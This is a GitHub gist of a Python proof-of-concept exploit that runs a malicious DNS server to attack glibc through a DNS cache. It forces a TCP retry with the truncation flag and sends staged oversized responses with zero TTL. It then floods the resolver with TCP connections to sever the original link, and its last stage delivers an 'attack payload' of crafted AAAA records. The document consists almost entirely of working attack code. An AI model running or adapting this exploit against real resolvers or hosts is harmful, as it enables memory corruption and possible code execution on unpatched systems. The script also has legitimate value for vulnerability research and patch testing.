Skip to content

Instantly share code, notes, and snippets.

@vavrusa
Last active Feb 26, 2016
Embed
What would you like to do?
#!/usr/bin/python
#
# Copyright 2016 Google Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors:
# Fermin J. Serna <fjserna@google.com>
# Gynvael Coldwind <gynvael@google.com>
# Thomas Garnier <thgarnie@google.com>
# Marek Vavrusa <mvavrusa@cloudflare.com>
import socket
import time
import struct
import threading
IP = '127.0.0.10' # Insert your ip for bind() here...
terminate = False
def dw(x):
return struct.pack('>H', x)
def dd(x):
return struct.pack('>I', x)
def dl(x):
return struct.pack('<Q', x)
def db(x):
return chr(x)
# Respond with TC=1 to shift over TCP
# This is normal authoritative response with large payload
def udp_thread():
global terminate
# Handle UDP requests
sock_udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock_udp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_udp.bind((IP, 53))
while not terminate:
data, addr = sock_udp.recvfrom(1024)
print '[UDP] Total Data len recv ' + str(len(data))
id_udp = struct.unpack('>H', data[0:2])[0]
# Parse QUESTION (trim EDNS / additionals ...)
query_udp = data[12:]
endp = 0
while query_udp[endp] != '\x00' and endp < len(query_udp):
endp += ord(query_udp[endp]) + 1 # Traverse QNAME
query_udp = query_udp[0 : endp + 1 + 4] # +QTYPE +QCLASS
qtype = struct.unpack('>H', query_udp[-4:-2])[0]
# Send truncated... so it retries over TCP
data = dw(id_udp) # id
data += dw(0x8380) # flags with truncated set
data += dw(1) # questions
data += dw(0) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query_udp # question
sock_udp.sendto(data, addr)
sock_udp.close()
def tcp_thread():
global terminate
#Open TCP socket
sock_tcp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock_tcp.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock_tcp.bind((IP, 53))
sock_tcp.listen(10)
counter = 0
while not terminate:
conn, addr = sock_tcp.accept()
print 'Connected with ' + addr[0] + ':' + str(addr[1])
while True:
# Read entire packet
try:
reqlen = struct.unpack('>H', conn.recv(2))[0]
except:
print '[TCP] Disconnected'
break
data = conn.recv(reqlen)
# Parse QUESTION (trim EDNS / additionals ...)
msgid = struct.unpack('>H', data[0:2])[0]
query = data[12:]
endp = 0
while query[endp] != '\x00' and endp < len(query):
endp += ord(query[endp]) + 1 # Traverse QNAME
query = query[0 : endp + 1 + 4] # +QTYPE +QCLASS
print '[TCP] Total Data len recv ' + str(len(data))
# Plan responses
counter += 1
# First two answers
# 1+2. Send back anything big to trigger dnscache sending back TC=1 for UDP client
# It must have TTL=0 to make sure dnscache can't reuse it on TCP retry
if counter == 1:
print '[TCP] Sending back first big answer with TTL=0'
data = dw(msgid) # id
data += dw(0x8180) # flags (QR, RD, AA)
data += dw(1) # questions
data += dw(127) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query # question
# A records in answer
for i in range(127):
answer = dw(0xc00c) # name compressed
answer += dw(1) # type A
answer += dw(1) # class
answer += dd(0) # ttl
answer += dw(4) # data length
answer += chr(i) * 4 # data
data += answer
elif counter == 2:
print '[TCP] Sending back second big answer with TTL=0'
data = dw(msgid) # id
data += dw(0x8180) # flags (QR, RD, AA)
data += dw(1) # questions
data += dw(127) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query # question
# AAAA records in answer
for i in range(127):
answer = dw(0xc00c) # name compressed
answer += dw(28) # type AAAA
answer += dw(1) # class
answer += dd(0) # ttl
answer += dw(16) # data length
answer += chr(i) * 16 # data
data += answer
# Second stage - client got TC=1, retried with dnscache over TCP
# dnscache asks for two names again because they had TTL=0
# 3. Response length > 2048
# 4. Start spawning TCP connections back to dnscache and wait until the original connection is closed
elif counter == 3:
print '[TCP] Preparing the attack with answer >2k'
data = dw(msgid) # id
data += dw(0x8180) # flags (QR, RD, AA)
data += dw(1) # questions
data += dw(127) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query # question
# A records in answer
for i in range(127):
answer = dw(0xc00c) # name compressed
answer += dw(1) # type A
answer += dw(1) # class
answer += dd(0) # ttl
answer += dw(4) # data length
answer += chr(i) * 4 # data
data += answer
elif counter == 4:
data = None
dnscache = (conn.getpeername()[0], 53)
print '[TCP] Connecting back to caller to force it close original connection' + str(dnscache)
troublefetes = []
conn.setblocking(False)
while True:
try:
for i in range(20):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(dnscache)
s.send(struct.pack('>H', 35))
s.setblocking(False)
troublefetes.append(s)
except:
pass
try:
conn.recv(1)
except:
print '[TCP] Original connection was terminated, expecting to see requery'
break
# Final stage - connection between glibc and dnscache was terminated, glibc retried again
# and so does dnscache on its behalf
# 5. Any valid response
# 6. Attack payload
elif counter == 5:
print '[TCP] Sending back a valid answer in A'
data = dw(msgid) # id
data += dw(0x8180) # flags (QR, RD, AA)
data += dw(1) # questions
data += dw(0) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query # question
elif counter == 6:
print '[TCP] Sending back attack payload in AAAA'
data = dw(msgid) # id
data += dw(0x8180) # flags (QR, RD, AA)
data += dw(1) # questions
data += dw(127) # answers
data += dw(0) # authoritative
data += dw(0) # additional
data += query # question
# AAAA records in answer
for i in range(127):
answer = dw(0xc00c) # name compressed
answer += dw(28) # type AAAA
answer += dw(1) # class
answer += dd(0) # ttl
answer += dw(16) # data length
answer += chr(i) * 16 # data
data += answer
if data != None:
conn.sendall(dw(len(data)) + data)
sock_tcp.close()
if __name__ == "__main__":
t = threading.Thread(target=udp_thread)
t.daemon = True
t.start()
tcp_thread()
terminate = True
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment